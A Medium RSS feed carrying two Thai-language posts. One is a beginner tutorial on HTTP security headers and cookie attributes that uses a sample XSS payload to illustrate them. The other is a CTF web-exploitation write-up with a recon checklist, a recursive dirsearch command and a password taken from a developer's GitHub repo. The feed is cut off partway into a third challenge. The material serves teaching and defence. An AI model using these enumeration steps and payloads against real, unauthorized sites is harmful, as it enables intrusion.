<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by manop55555 on Medium]]></title>
        <description><![CDATA[Stories by manop55555 on Medium]]></description>
        <link>https://medium.com/@manop55555?source=rss-29e16bfdf251------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*aCCCozlLQOVcw8deUQyfZQ.png</url>
            <title>Stories by manop55555 on Medium</title>
            <link>https://medium.com/@manop55555?source=rss-29e16bfdf251------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sat, 21 Nov 2026 08:10:02 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@manop55555/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[HTTP Headers, HTTP Security Header และ Cookie Attributes คืออะไร และทำไมถึงสำคัญ?]]></title>
            <link>https://medium.com/@manop55555/http-headers-http-security-header-%E0%B9%81%E0%B8%A5%E0%B8%B0-cookie-attributes-%E0%B8%84%E0%B8%B7%E0%B8%AD%E0%B8%AD%E0%B8%B0%E0%B9%84%E0%B8%A3-%E0%B9%81%E0%B8%A5%E0%B8%B0%E0%B8%97%E0%B8%B3%E0%B9%84%E0%B8%A1%E0%B8%96%E0%B8%B6%E0%B8%87%E0%B8%AA%E0%B8%B3%E0%B8%84%E0%B8%B1%E0%B8%8D-06a69a510800?source=rss-29e16bfdf251------2</link>
            <guid isPermaLink="false">https://medium.com/p/06a69a510800</guid>
            <dc:creator><![CDATA[manop55555]]></dc:creator>
            <pubDate>Fri, 03 Apr 2026 09:10:17 GMT</pubDate>
            <atom:updated>2026-04-06T09:41:51.335Z</atom:updated>
            <content:encoded><![CDATA[<blockquote>บทความนี้เขียนสำหรับคนที่เพิ่งเริ่มต้นเรียนรู้เรื่อง Web Security โดยไม่ต้องมีพื้นฐาน developer มาก่อนก็สามารถอ่านทำความเข้าใจได้ครับ</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*X7mrKxXv2sB2v1be.jpg" /></figure><h4>ก่อนอื่น เราต้องเข้าใจก่อนว่าเว็บมีการทำงานอย่างไร</h4><p>ทุกครั้งที่เราพิมพ์ URL แล้วกด Enter สิ่งที่เกิดขึ้น คือ browser (เช่น Chrome, Safari, Firefox) จะส่ง “คำขอ” (request) ไปหา server และ server จะส่ง “คำตอบ” (response) กลับมา</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/696/0*loNIJt-FeAMGrAY3.png" /></figure><h4>Request / Response มีอะไรบ้าง?</h4><p>HTTP Request (browser → server):</p><pre>GET /dashboard HTTP/1.1<br>Host: mybank.com<br>Cookie: session=abc123</pre><p>HTTP Response (server → browser):</p><pre>HTTP/1.1 200 OK<br>Content-Type: text/html<br>[... headers อื่นๆ ...]</pre><pre>&lt;!DOCTYPE html&gt;<br>&lt;html&gt;... หน้าเว็บที่เราเห็น ...&lt;/html&gt;</pre><p>สังเกตว่า response มีสองส่วน คือ</p><ol><li>Headers คือ ข้อมูลส่วนบน (ก่อน body) ทำหน้าที่เป็น metadata หรือ “คำสั่ง” ที่ browser ใช้ตีความ response</li><li>Body คือ เนื้อหาจริง เช่น HTML, JSON, รูปภาพ ที่ browser นำไป render ให้เราเห็น</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/878/1*76baT2qyjMtSgFGCFadm4g.png" /></figure><h4>1. HTTP Header คืออะไร</h4><p>HTTP Header คือ ข้อมูลส่วนบนของ request หรือ response ที่ browser และ server ใช้สื่อสารกัน</p><p><strong>ตัวอย่าง HTTP Response:</strong></p><pre>HTTP/1.1 200 OK<br>Content-Type: text/html<br>Cache-Control: no-store</pre><pre>&lt;html&gt;... หน้าเว็บ ...&lt;/html&gt;</pre><ul><li>Headers คือ metadata หรือ “คำสั่ง” ให้ browser ตีความเนื้อหา</li><li>Body คือเนื้อหาจริง เช่น HTML, JSON, รูปภาพ</li></ul><h4>HTTP Security Header คืออะไร</h4><p>HTTP Security Header คือ HTTP Header ชนิดหนึ่งที่ server ตั้งค่าเพื่อบอก browser ว่า “ควรอนุญาตหรือป้องกันพฤติกรรมอะไรบ้าง”</p><p>ตัวอย่าง:</p><ul><li>บังคับให้ใช้ HTTPS</li><li>ป้องกันเว็บถูกฝังใน iframe (Clickjacking)</li><li>จำกัดการโหลด script จากแหล่งไม่ปลอดภัย</li></ul><h4><strong>Cookies (คุกกี้) คืออะไร?</strong></h4><p>Cookies คือ ข้อมูลขนาดเล็กที่เว็บไซต์ส่งมาเก็บไว้ใน browser ของเรา (เช่น Chrome, Firefox) เพื่อให้เว็บ “จำเราได้” เวลาเรากลับมาใช้งานอีกครั้ง</p><h4>Cookie Attributes คืออะไร</h4><p>Cookie Attributes คือ คุณสมบัติของ cookie ที่กำหนดวิธีส่งหรือเข้าถึง cookie เช่น</p><ul><li>HttpOnly มีหน้าที่ป้องกัน JavaScript อ่าน cookie</li><li>Secure มีหน้าที่ส่ง cookie เฉพาะ HTTPS</li><li>SameSite มีหน้าที่จำกัดการส่ง cookie ข้ามเว็บ</li><li>Max-Age / Expires มีหน้าที่กำหนดอายุ cookie</li><li>Domain / Path มีหน้าที่กำหนด domain/path ที่ cookie ใช้งานได้</li></ul><h3>HTTP Security Headers ที่ควรรู้</h3><h4>1. X-Content-Type-Options</h4><p>Header นี้มีหน้าที่บอก browser ว่าให้เชื่อประเภทไฟล์ที่ server ระบุมา และห้ามเดาเองจากเนื้อไฟล์ข้างใน</p><p>ปกติ browser บางตัวมีพฤติกรรม “MIME sniffing” คือ ถึงแม้ server จะบอกว่าไฟล์เป็นรูปภาพ แต่ browser อาจเปิดดูเนื้อข้างในแล้วตัดสินเองว่าไฟล์ควรเป็นอะไร ถ้าเห็นโค้ดที่เหมือน JavaScript ก็อาจเลือกรันโค้ดนั้นแทนได้</p><p><strong>ตัวอย่าง</strong><br>ผู้โจมตีอัปโหลดไฟล์ที่ตั้งชื่อว่าเป็นรูปภาพ แต่เนื้อข้างในเป็น script:</p><pre>HTTP/1.1 200 OK<br>Content-Type: image/png</pre><pre>&lt;script&gt;alert(&#39;hacked&#39;)&lt;/script&gt;</pre><p><strong>วิธีการตั้งค่า</strong><br>การตั้งค่า header นี้จะปิดพฤติกรรมการเดา เมื่อใช้ค่า nosniff browser จะเชื่อ Content-Type เท่านั้น ถ้าไม่ตรงก็จะไม่รัน</p><pre>X-Content-Type-Options: nosniff</pre><p>— — -</p><h4>2. X-Frame-Options</h4><p>Header นี้มีหน้าที่บอก browser ว่าเว็บของเราสามารถถูกนำไปแสดงใน iframe ของเว็บอื่นได้หรือไม่</p><p>การโจมตีที่เกี่ยวข้องเรียกว่า Clickjacking ซึ่งเกิดจากผู้โจมตีสร้างหน้าเว็บปลอม แล้วซ้อน iframe ของเว็บจริงไว้ด้านล่าง ทำให้ผู้ใช้คิดว่ากำลังกดปุ่มธรรมดา แต่จริง ๆ กำลังกดปุ่มสำคัญในอีกเว็บหนึ่ง</p><p><strong>ตัวอย่าง</strong></p><pre>HTTP/1.1 200 OK<br>Content-Type: text/html</pre><pre>&lt;html&gt;transfer page&lt;/html&gt;</pre><p><strong>วิธีการตั้งค่า</strong><br>การตั้งค่า header นี้จะบอก browser ว่าห้ามให้เว็บอื่น embed หน้าเราใน iframe หรือจำกัดให้เฉพาะเว็บตัวเอง</p><pre>X-Frame-Options: SAMEORIGIN</pre><ul><li>DENY คือ ห้ามเว็บนี้ถูก embed ใน iframe ทุกกรณี</li><li>SAMEORIGIN คือ อนุญาต embed เฉพาะจาก domain เดียวกัน</li><li>ALLOW-FROM uri คือ อนุญาต embed จาก URL ที่กำหนด (deprecated บาง browser)</li></ul><p>— — -</p><h4>3. Referrer-Policy</h4><p>Header นี้มีหน้าที่ควบคุมว่าข้อมูล URL ต้นทางจะถูกส่งไปกับ request มากแค่ไหนผ่าน Referer header</p><p>ถ้าไม่มีการตั้งค่า ข้อมูลสำคัญใน URL เช่น token อาจหลุดไปยังเว็บภายนอก</p><p><strong>ตัวอย่าง</strong></p><pre>GET /script.js HTTP/1.1<br>Host: cdn.com<br>Referer: https://myapp.com/reset-password?token=abc123</pre><p><strong>วิธีการตั้งค่า</strong><br>การตั้งค่า header นี้จะบอก browser ให้ลดข้อมูลที่ส่งออกไป โดยเมื่อไปเว็บอื่นจะส่งแค่ domain ไม่ส่ง path หรือ query ที่มีข้อมูลสำคัญ</p><pre>Referrer-Policy: strict-origin-when-cross-origin</pre><ul><li>no-referrer คือ ไม่ส่ง Referer header เลย</li><li>no-referrer-when-downgrade คือ ส่ง Referer เฉพาะถ้า request เป็น HTTPS และไม่ลดระดับ</li><li>origin คือ ส่งเฉพาะ origin (<a href="https://example.com/">https://example.com</a>) ไม่รวม path/query</li><li>strict-origin คือ ส่ง origin เฉพาะ HTTPS</li><li>origin-when-cross-origin คือ ส่ง full URL ใน request ของเว็บเดียวกัน, ส่ง origin เมื่อ cross-origin</li><li>strict-origin-when-cross-origin คือ ส่ง full URL ในเว็บเดียวกัน, origin เฉพาะ HTTPS cross-origin</li><li>same-origin คือ ส่ง Referer เฉพาะ request ของเว็บเดียวกัน</li><li>unsafe-url คือ ส่ง full URL ทุก request (ไม่ปลอดภัย)</li></ul><p>— — -</p><h4>4. Permissions-Policy</h4><p>Header นี้มีหน้าที่ควบคุมว่า feature ของ browser เช่น กล้อง ไมโครโฟน หรือ location สามารถถูกใช้งานได้หรือไม่</p><p>ถ้าไม่มีการตั้งค่า script จากภายนอกอาจเข้าถึง feature เหล่านี้โดยไม่ได้รับอนุญาต</p><p><strong>ตัวอย่าง</strong></p><pre>navigator.geolocation.getCurrentPosition(...)</pre><p><strong>วิธีการตั้งค่า</strong><br>การตั้งค่า header นี้จะบอก browser ห้ามใช้ feature ที่ไม่ได้อนุญาต ไม่ว่า script ใดจะพยายามเรียกใช้งาน</p><pre>Permissions-Policy: camera=(), microphone=(), geolocation=()</pre><ul><li>camera=() คือ ปิด feature ไม่ให้ script ใดใช้งาน</li><li>microphone=() คือ ปิด feature ไม่ให้ script ใดใช้งาน</li><li>geolocation=() คือ ปิด feature ไม่ให้ script ใดใช้งาน</li><li>สามารถใส่ allow list เช่น camera=(self &quot;https://trusted.com&quot;) คือ อนุญาตเฉพาะ domain ที่กำหนด</li></ul><p>— — -</p><h4>5. Cache-Control</h4><p>Header นี้มีหน้าที่ควบคุมว่า browser หรือ proxy จะเก็บข้อมูลของหน้าเว็บไว้หรือไม่</p><p>ถ้าไม่ตั้งค่า ข้อมูลสำคัญอาจค้างอยู่ใน cache และคนถัดไปที่ใช้เครื่องเดียวกันสามารถเข้าถึงข้อมูลได้</p><p><strong>ตัวอย่าง</strong></p><pre>HTTP/1.1 200 OK<br>Content-Type: text/html</pre><pre>&lt;html&gt;user balance: 10000&lt;/html&gt;</pre><p><strong>วิธีการตั้งค่า</strong><br>การตั้งค่า header นี้จะบอก browser ห้ามเก็บข้อมูลของหน้านี้ไว้ใน cache เพื่อป้องกันข้อมูลหลุดได้</p><pre>Cache-Control: no-store</pre><ul><li>no-store คือ ห้าม browser/proxy เก็บ cache</li><li>no-cache คือ ต้องตรวจสอบ server ก่อนใช้ cache</li><li>private คือ เก็บ cache เฉพาะ client</li><li>public คือ เก็บ cache ได้ทุกคน</li><li>max-age=seconds คือ กำหนดเวลาที่ cache ใช้ได้</li><li>must-revalidate คือ cache ต้องตรวจสอบ server ก่อนใช้</li></ul><p>— — -</p><h4>6. HTTP Strict Transport Security (HSTS)</h4><p>Header นี้มีหน้าที่บอก browser ว่าเว็บนี้ต้องใช้ HTTPS เท่านั้น และห้ามใช้ HTTP</p><p>ถ้าไม่ตั้งค่า ผู้โจมตีใน network เดียวกันสามารถดักหรือแก้ไขข้อมูลช่วง HTTP ก่อน redirect ไป HTTPS ได้</p><p><strong>ตัวอย่าง</strong></p><pre>GET / HTTP/1.1<br>Host: example.com</pre><p><strong>วิธีการตั้งค่า</strong><br>การตั้งค่า header นี้จะบอก browser ให้ใช้ HTTPS เท่านั้น และเปลี่ยนเป็น HTTPS ก่อนส่ง request ทุกครั้ง</p><pre>Strict-Transport-Security: max-age=63072000; includeSubDomains</pre><ul><li>max-age=seconds คือ กำหนดระยะเวลาที่ browser จะบังคับ HTTPS</li><li>includeSubDomains คือ ใช้ HTTPS กับทุก subdomain</li><li>preload คือ ให้ browser preload list ของ HSTS (ต้อง submit กับ browser vendor)</li></ul><p>— — -</p><h4>7. Content-Security-Policy (CSP)</h4><p>Header นี้มีหน้าที่กำหนดว่า resource ต่าง ๆ เช่น script, style หรือ image สามารถโหลดจากที่ไหนได้บ้าง</p><p>หากไม่มีการตั้งค่า ผู้โจมตีสามารถแทรก script ลงในหน้าเว็บและรันโค้ดอันตรายได้</p><p><strong>ตัวอย่าง</strong></p><pre>&lt;script&gt;alert(&#39;hacked&#39;)&lt;/script&gt;</pre><p><strong>วิธีการตั้งค่า</strong><br>การตั้งค่า header นี้จะบอก browser ให้โหลด script ได้เฉพาะจากแหล่งที่กำหนด ถ้าไม่อยู่ในรายการจะไม่รัน</p><pre>Content-Security-Policy: default-src &#39;self&#39;; script-src &#39;self&#39;</pre><ul><li>default-src &#39;self&#39; คือ โหลด resource จาก domain ของตัวเอง</li><li>script-src &#39;self&#39; https://trusted.com คือ โหลด script จาก domain ของตัวเอง + trusted</li><li>style-src &#39;self&#39; &#39;unsafe-inline&#39; คือ โหลด style จาก domain ของตัวเอง หรือ inline style</li><li>img-src &#39;self&#39; data: คือ โหลดรูปจาก domain ของตัวเอง หรือ data URI</li><li>object-src &#39;none&#39; คือ ปิด plugin/object ทั้งหมด</li><li>สามารถกำหนดหลาย directive เช่น font-src, media-src, connect-src</li></ul><h3>Cookie Attributes ที่ควรรู้</h3><h4>1. HttpOnly</h4><p>มีหน้าที่ป้องกันไม่ให้ JavaScript อ่านค่า cookie</p><p><strong>ตัวอย่าง</strong></p><pre>document.cookie</pre><p><strong>วิธีการตั้งค่า<br></strong>ถ้าใช้ HttpOnly browser จะไม่ให้ JS อ่านค่า session ลดความเสี่ยง XSS</p><pre>Set-Cookie: session=abc123; HttpOnly</pre><p>— — -</p><h4>2. Secure</h4><p>มีหน้าที่ส่ง cookie เฉพาะเมื่อเชื่อมต่อ HTTPS เท่านั้น</p><p><strong>ตัวอย่าง</strong></p><pre>GET / HTTP/1.1<br>Host: example.com<br>Cookie: session=abc123</pre><p><strong>วิธีการตั้งค่า<br></strong>ลดความเสี่ยง cookie หลุดเมื่อใช้ HTTP ปกป้อง session จากการดักข้อมูลใน network</p><pre>Set-Cookie: session=abc123; Secure</pre><p>— — -</p><h4>3. SameSite</h4><p>มีหน้าที่จำกัดการส่ง cookie ข้ามเว็บไซต์ ป้องกัน CSRF</p><p><strong>ตัวอย่าง</strong></p><pre>POST /transfer HTTP/1.1<br>Host: bank.com<br>Cookie: session=abc123</pre><p><strong>วิธีการตั้งค่า</strong></p><ul><li>Lax คือ ป้องกัน CSRF ใน request ข้ามเว็บบางกรณี แต่ยังส่งใน top-level navigation</li><li>Strict คือ ป้องกัน CSRF ทุกกรณี ข้ามเว็บไม่ส่ง cookie</li><li>None คือ อนุญาต cookie cross-site ต้องใช้ Secure ด้วย</li></ul><pre>Set-Cookie: session=abc123; SameSite=Lax</pre><p>— — -</p><h4>4. Max-Age / Expires</h4><p>มีหน้าที่กำหนดอายุของ cookie</p><p><strong>ตัวอย่าง<br></strong>โดย cookie จะหมดอายุหลังจากเวลาที่กำหนด ลดความเสี่ยง cookie ถูกใช้เกินความจำเป็น</p><pre>Set-Cookie: session=abc123; Max-Age=3600</pre><p>— — -</p><p><strong>5. Domain / Path</strong></p><p>มีหน้าที่กำหนด domain และ path ที่ cookie ใช้งานได้</p><p><strong>ตัวอย่าง<br></strong>จำกัดว่า cookie จะส่งไปเฉพาะ domain/path ที่กำหนด ลดการเข้าถึงโดยเว็บอื่น</p><pre>Set-Cookie: session=abc123; Domain=example.com; Path=/dashboard</pre><p><strong>สรุป</strong></p><p>การตั้งค่า <strong>HTTP Security Headers</strong> กับ <strong>Cookie Attributes</strong> จะช่วยให้เว็บของเราปลอดภัยมากขึ้น ป้องกันคนแอบแทรกโค้ด, ป้องกันเว็บถูกฝังในหน้าอื่น, จำกัดข้อมูลที่ส่งข้ามเว็บ, ควบคุมการเก็บ cache และป้องกันการขโมย session โดยหัวข้อสำคัญที่ควรตั้งคือพวก X-Content-Type-Options, X-Frame-Options, Referrer-Policy, Permissions-Policy, Cache-Control, Strict-Transport-Security, Content-Security-Policy ส่วน cookie ก็ควรตั้ง HttpOnly, Secure, SameSite และกำหนดอายุ/โดเมนให้เหมาะสม การตั้งค่าตามนี้เว็บก็ปลอดภัยมากขึ้นครับ</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=06a69a510800" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Women Thailand Cyber Top Talent 2025 — Web Exploitation]]></title>
            <link>https://medium.com/@manop55555/women-thailand-cyber-top-talent-2025-web-exploitation-986ca9a1c38f?source=rss-29e16bfdf251------2</link>
            <guid isPermaLink="false">https://medium.com/p/986ca9a1c38f</guid>
            <category><![CDATA[ncsa]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[wctt2025]]></category>
            <category><![CDATA[writeup]]></category>
            <dc:creator><![CDATA[manop55555]]></dc:creator>
            <pubDate>Wed, 04 Feb 2026 09:26:02 GMT</pubDate>
            <atom:updated>2026-02-04T11:24:25.255Z</atom:updated>
            <content:encoded><![CDATA[<h3>Women Thailand Cyber Top Talent 2025 — Web Exploitation</h3><p>สวัสดีครับ ผม manop55555 (scriptpi01 มั้งครับ555) ก็วันนี้อยากจะลองเขียน Writeup โจทย์ที่ดูง่ายแต่พยายามเขียนตาม Step วางแผนการคิดใหม่และเขียนให้ละเอียดมีเหตุผลมากขึ้นครับ อาจจะมีบางอย่างที่เขียนผิดหรือขาดหายไปก็ขออภัยด้วยครับ งานนี้ก็ผมไม่ได้เข้าร่วมการแข่งขันนะครับ แต่ว่าได้โจทย์มาเล่นก็เลยอยากเขียนดูครับ</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1000/0*PQp9oNzA8_eAgrbI" /></figure><h3>Web CTF Checklists (สำหรับผู้เริ่มต้น)</h3><p>ก่อนจะไปทำโจทย์กัน ผมมี Checklists พื้นฐานง่าย ๆ ที่ผมคิดว่าควรทำเวลาเจอโจทย์ CTF ในหมวดของ Web Exploitation ครับ (อาจจะไม่ได้มีครบทั้งหมด เพราะ จริง ๆ มันมีเยอะมาก จากง่ายไปจนถึงยากสุด ๆ แต่สำหรับผู้เริ่มต้นผมลองสรุปมาให้เพียงแค่นี้ก็น่าจะเพียงพอครับ)</p><pre>Web CTF Checklists (สำหรับผู้เริ่มต้น)<br><br>- ตรวจสอบ Source Code ของหน้าเว็บ โดยใช้ฟังก์ชัน View Page Source <br>  เพื่อค้นหา comments, hidden field, หรือข้อมูลที่อาจถูกฝังไว้ในฝั่ง client<br>  (รวมทั้งข้อมูลที่สามารถอ่านได้ผ่านหน้าเว็บด้วย เช่น Username ผู้พัฒนา ทั้งที่เขียนไว้หรือจากในรูปภาพ<br>  จากนั้นนำไปข้อมูลต่อได้เช่น Github, Gitlab, Pastebin, Social Media ต่าง ๆ)<br><br>- ตรวจสอบไฟล์ robots.txt เพื่อดู path หรือ endpoint ที่ผู้พัฒนาอาจไม่ต้องการให้ crawler เข้าถึง<br><br>- ทำ Path / Directory Enumeration ด้วยเครื่องมือ เช่น gobuster, dirb, dirsearch, <br>  wfuzz, feroxbuster เป็นต้น เพื่อค้นหา files หรือ directories ที่ซ่อนอยู่<br><br>- พิจารณาความเป็นไปได้ของการทำ Brute Force Username และ Password <br>  หรือลองพวก SQL Injection<br><br>- หากเว็บแอปพลิเคชันเป็น CMS ให้ตรวจสอบเวอร์ชันที่ใช้งานอยู่ และค้นหาช่องโหว่ที่เกี่ยวข้อง<br><br>- ตรวจสอบ Framework และ Library ที่เว็บใช้งานอยู่ รวมถึงเวอร์ชัน <br>  เพื่อหาช่องโหว่ที่อาจถูกนำมาใช้โจมตีได้<br><br>- ดู Request และ Response ผ่าน Network Tab หรือ Burp Suite (เช็ค HTTP Method ด้วย)<br><br>- อ่าน Error Message จากการลองกรอกข้อมูลที่แปลก ๆ เช่น ตัวอักษรพิเศษหรือค่าติดลบ <br>และทำการ Error and Trial ต่อไปเรื่อย ๆ (ส่วนนี้ต้องฝึกสังเกตและทำความเข้าใจครับ)<br><br>- ดู cookie / session ที่เว็บให้มา เราอาจจะสามารถแก้ไขเพื่อ Bypass ได้</pre><h3><strong>Find Me If You Can</strong></h3><p>(<a href="https://cybertopwomen2026.site/">https://cybertopwomen2026.site/</a>)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Bl26HUk6MPOlII7cGIXnnQ.png" /></figure><p>โจทย์ข้อนี้เมื่อเราเข้ามาที่หน้าเว็บ เราจะพบว่าเป็นหน้า Login ซึ่งต้องกรอก Username และ Password ในตอนนี้เราไม่มีข้อมูลอะไรเลย ดังนั้นสิ่งที่ควรทำต่อไป คือ การรวบรวมข้อมูล (Information Gathering / Enumeration) เพื่อค้นหาข้อมูลเพิ่มเติมที่อาจจะนำไปสู่การ Login ได้</p><p>เมื่อลองทำตาม Checklists มาก็จะพบว่าในขั้นตอนการทำ Path / Directory Enumeration โดยใช้ dirsearch</p><pre>dirsearch -u https://cybertopwomen2026.site/ -e php,html,js,bak,backup,old -x 301,403,404 --recursive</pre><pre>dirsearch คือ เครื่องมือสำหรับทำ file และ directory enumeration บนเว็บ<br><br>-u คือ ระบุ URL เป้าหมายที่ต้องการสแกน<br><br>-e คือ กำหนดนามสกุลของ file ที่ต้องการให้ลองค้นหา เช่น php, html, js → file เว็บทั่วไป<br><br>-x 301,403,404 คือ ไม่แสดงผลลัพธ์ที่ได้ HTTP status ดังนี้<br>  301 = redirect<br>  403 = มี file หรือ directory แต่ไม่สามารถเข้าถึงได้<br>  404 = ไม่มี file หรือ directory<br>ทำให้ผลลัพธ์ที่แสดงออกมาจะเป็น path ที่มีถึงได้ เช่น 200 <br>(บางทีเราก็สนใจ 301, 403 และ 404 เช่นเดียวกัน เพราะ ใน CTF ทุกสิ่งเป็นข้อมูลให้เราได้)<br><br>--recursive คือ การสแกน file และ directory ภายในต่ออัตโนมัติ <br>เช่น หากเจอ path /admin/<br>ก็จะสแกน path /admin/xxxxx ต่อ</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ifuVRq1ARXk3So2nYkexlQ.png" /></figure><p>เราก็จะพบกับ path /admin/admin.php เมื่อเราเข้าไปก็จะพบกับ flag ของข้อนี้</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CURVWTH1-RSpWqJ7vyXTsA.png" /></figure><p><strong>Takeaways<br></strong>แม้โจทย์ข้อนี้อาจจะดูง่ายแต่สำหรับมือใหม่นั้นถือเป็นเรื่องที่ต้องเข้าใจครับ เพราะ บางคนอาจจะหา file และ directory ที่ซ่อนอยู่ แบบไม่ recursive ซึ่งจำเป็นมากในการทำโจทย์ข้อนี้ (ตอนที่ผมเป็นมือใหม่นั้นก็มักจะปล่อยผ่านในส่วนนี้ด้วย) และเป็นการฝึก mindset แบบ Web Pentest คือ ไม่รีบ brute force แต่เริ่มจากการสำรวจโครงสร้างเว็บหรือการตั้งค่าที่อาจผิดพลาดก่อนตาม Checklists ที่ควรทำ สำหรับคนที่รู้อยู่แล้วก็ถือเป็นการทบทวนไปในตัวครับ</p><h3>Test brand: reliable and straightforward</h3><p>(<a href="https://test-yhrtia2fd6qod2n6.builder-preview.com/">https://test-yhrtia2fd6qod2n6.builder-preview.com/</a>)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gCH-vphn7aIiu4awWd16YA.png" /></figure><p>โจทย์ข้อนี้เมื่อเราเข้ามาที่หน้าเว็บเราจะพบว่ามีหลาย ๆ หน้าให้สำรวจมาก เมื่อทำตาม Checklists ที่ผมได้ให้ไว้ก็พบว่ามีส่วนที่น่าสนใจอยู่ 3 ส่วนครับ</p><p>1. พบหน้า unfinished หรือหน้าที่ผู้พัฒนาน่าจะยังทำไม่เสร็จ <a href="https://test-yhrtia2fd6qod2n6.builder-preview.com/unfinished">(https://test-yhrtia2fd6qod2n6.builder-preview.com/unfinished</a>)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Dv5VlrGagJnH_SOZtBqNIw.png" /></figure><p>หน้านี้น่าสนใจมากครับ เพราะ ชื่อก็บอกอยู่ว่ายังทำไม่เสร็จแสดงว่าเราอาจจะต้องใช้หน้านี้แหละในการหา flag ของข้อนี้นั่นเองครับ โดยหน้านี้เราต้องการ Password เพื่อที่ Login ส่วนของ Guess area สิ่งที่คิดว่าควรทำต่อ คือ</p><ul><li>หา Password จากการ Enumeration เพิ่มเติม</li><li>ลอง Brute Force (ในตอนที่ผมทำผมลอง Brute Force 4 digits number เช่น 0000, 0001, 0002, …, 9999 ด้วยครับ เพราะ เห็นจากรูป **** มีสี่ตัวพอดี5555)</li></ul><p>2. มี Cookie ที่สามารถถอดรหัสด้วย Base64 ได้</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HQHTRvkOlqK8S-06Ql-iGw.png" /></figure><p>โดยเราสามารถใช้เว็บ Cyberchef ในการถอดรหัสได้ครับ (<a href="https://gchq.github.io/CyberChef/">https://gchq.github.io/CyberChef/</a>)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QYNu8BQQLtJHiPScsT6jGQ.png" /></figure><p>จากข้อที่ 3 เราจะเห็นได้ว่าเราน่าจะต้องรู้</p><ul><li>deviceId</li><li>userId</li><li>sessionId</li><li>optOut</li></ul><p>หากต้องการที่จะ Bypass เพื่อ Login ได้ (ถ้าเดาคิดว่าน่าจะ Login ในข้อที่ 1 ครับ) ข้อนี้เราเก็บไว้ในใจก่อน ยังไม่ตัดทิ้ง</p><p>3. เราพบว่ามีการบอกชื่อผู้พัฒนา คือ dev by shellocodenoobx</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SFInPrJF9BFhFK3RoNCz8A.png" /></figure><p>ตาม Checklists ที่ผมได้ให้ไว้ เราลองนำ shellocodenoobx ไปหาข้อมูลเพิ่มเติม</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*L8wzsCj-ZPe0B2zU_Mi7ww.png" /></figure><p>จากการค้นหาผ่าน Github ทำให้เราพบว่ามี User: shellocodenoobx อยู่นั่นเองครับ</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ymhNPpg67pCgXRyrnShzRA.png" /></figure><p>เมื่อเรากดเข้าไปที่ User: shellocodenoobx ก็จะพบกับ Repositories: unfinishedweb อยู่ ซึ่งตรงกับข้อที่ 1 ที่เราสงสัยไว้ครับ</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zT6kkfEwQSOy574Cd5Tzxw.png" /></figure><p>หลังจากที่ได้เข้ามาอ่าน Repositories: unfinishedweb ทำให้เราได้พบกับ Pass ที่เราตามหานั่นเอง</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*e7Zb1xqUVcRuq-utqZwqUQ.png" /></figure><pre>Supp3rS3cureP@ssw0rd</pre><p>นำ Pass ที่ได้มากรอกในหน้า Unfinished</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rj3L9CngLWoQs-73waZvVA.png" /></figure><p>ก็จะทำให้เราได้พบกับ Flag ข้อนี้นั่นเองครับ</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0bbonbLICL-qZB1vZTmWfQ.png" /></figure><p><strong>Takeaways<br></strong>โจทย์ข้อนี้เป็นโจทย์ที่ดีอีกหนึ่งข้อเลยครับ โดยเป็นโจทย์ที่ช่วยฝึกให้คิดรอบด้านและนอกกรอบมากขึ้นกว่าแค่ตัวเว็บตรง ๆ โดยเฉพาะการสังเกตหน้าเว็บที่ยังพัฒนาไม่เสร็จ, การดู cookie ฝั่ง client (อาจจะไม่ได้ช่วยให้เราหา flag ได้ แต่ก็ถือว่าเป็น Issue ข้อหนึ่งที่ควรแก้ไขครับ เช่น ไม่ควรนำ Base64 มาเข้ารหัส Cookie) และการนำข้อมูลเล็ก ๆ อย่างชื่อผู้พัฒนาไปต่อยอดหาในแหล่งอื่น เช่น GitHub ซึ่งเป็นสิ่งที่ไม่ควรมองข้าม ใน CTF อาจจะเป็นแค่ flag แต่ใน Real World บางทีอาจจะเป็น Source Code ทั้งที่อาจจะทำให้ Attacker สามารถโจมตีตัวเว็บได้เลย และอีกอย่างคือ โจทย์นี้ช่วยฝึก mindset แบบ Web Pentest ว่าบางครั้งช่องโหว่ไม่ได้อยู่ที่เทคนิคยาก ๆ ครับบางทีช่องโหว่ก็อยู่ที่ความเผลอของผู้พัฒนาหรือตัวบุคคลด้วยเช่นกัน และสอนให้เราไม่ยึดติดกับวิธีการใดวิธีการหนึ่งมากจนเกินไปครับ</p><h3>Steelblue-Lobster</h3><p>(<a href="https://steelblue-lobster-423405.hostingersite.com/">https://steelblue-lobster-423405.hostingersite.com/</a>)</p><figure><img alt="" 